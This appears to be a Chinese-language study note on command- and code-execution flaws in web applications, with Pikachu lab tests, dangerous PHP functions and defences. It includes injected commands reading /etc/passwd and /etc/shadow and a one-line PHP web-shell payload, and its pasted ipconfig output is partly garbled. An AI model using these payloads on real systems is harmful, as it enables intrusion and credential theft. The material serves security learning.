漏洞产生条件
在web应用程序中有时候开发为了考虑灵活性,简洁性会在代码调用代码或者命令
执行函数去处理,比如当应用在调用一些能将字符串转化为代码的
函数时,没有考虑用户是否能控制字符串,将造成代码执行漏洞
同样调用系统命令处理会造成命令执行漏洞
漏洞危害
可以执行系统命令危害较大,反弹shell,system权限,进入内网
利用方式简单多以python脚本或者java脚本方式攻击
长发生在框架,中间件,cms,web容器,插件等地方
常见命令拼接符
|、||、&、&&的区别:
&: 无论左边是false还是true,右边都执行
&&: 具有短路效果,左边是false,右边不执行。
|: 无论左边是false还是true,右边都会执行
||: 具有短路效果,左边是true,右边不执行。
防御
命令执行的防御分为三个方面 参数 , 函数 和 权限
对前端传递的参数进行转译
减少或禁用执行命令的函数
还有就是限制web中间件的权
pikachu靶场测试命令执行漏洞
127.0.0.1&&ipconfig 执行命令得到如下,执行了ping命令也执行了ipconfig
127.0.0.1|whoami 执行了whoami命令
114.114.114.114&&uname
114.114.114.114&&密码
114.114.114.114&&ls -l
114.114.114.114&&cat /etc/passwd //查看用户
114.114.114.114&&cat /etc/shadow //查看密码
Ping 127.0.0.1 32 ֽڵ :
127.0.0.1 Ļظ : ֽ =32 ʱ <1ms TTL=128
127.0.0.1 Ļظ : ֽ =32 ʱ <1ms TTL=128
127.0.0.1 Ļظ : ֽ =32 ʱ <1ms TTL=128
127.0.0.1 Ļظ : ֽ =32 ʱ <1ms TTL=128
127.0.0.1 Ping ͳ Ϣ:
: ѷ = 4 ѽ = 4 ʧ = 0 (0% ʧ)
г̵Ĺ ʱ ( Ժ Ϊ λ):
= 0ms = 0ms ƽ = 0ms
Windows IP
̫ :
ض DNS 。 . . . . . . :
IPv6 ַ。 . . . . . . . : fe80::81c5:a00:a0a5:fab3%11
IPv4 . . . . . . . . . . . . : 192.168.11.12
. . . . . . . . . . . . : 255.255.255.0
嬷嬷。 . . . . . . . . . . . . : 192.168.11.2
isatap。{29E03021-A240-4FCD-8A4C-86021DA19614}:
🌹🌹🌹🌹🌹。 . . . . . . . . . . . : 呸
ض DNS 。 . . . . . . :
触发点/检测
命令执行漏洞Web端不容易发现 , 大多通过代码审计 , 检查容易触发漏洞的 特殊函数 和 特殊符号
exec();
system();
shell_exec();
passthru();
popen();
proc_popen();
反引号` 反引号包裹的代码会当做命令执行
代码执行漏洞
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞
代码执行漏洞和命令一样是高危漏洞产生危害差不多
相关函数
eval()
assert()
preg_replace() + /e 模式
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
file_put_contents()
fputs()
$_GET[‘a’]($_GET[‘b’]);//a=assert&b=phpinfo()
pikachu靶场测试代码执行漏洞
system(ipconfig); 会执行ipconfig命令
phpinfo(); 执行出PHP的版本
payload:fputs(fopen(‘shell.php’,‘w’),’<?php assert($_POST[cmd]);?>’) 上传木马
防御
对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
对于字符串一定要使用单引号包裹可控代码,并且 插入前进行addslashes().
对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。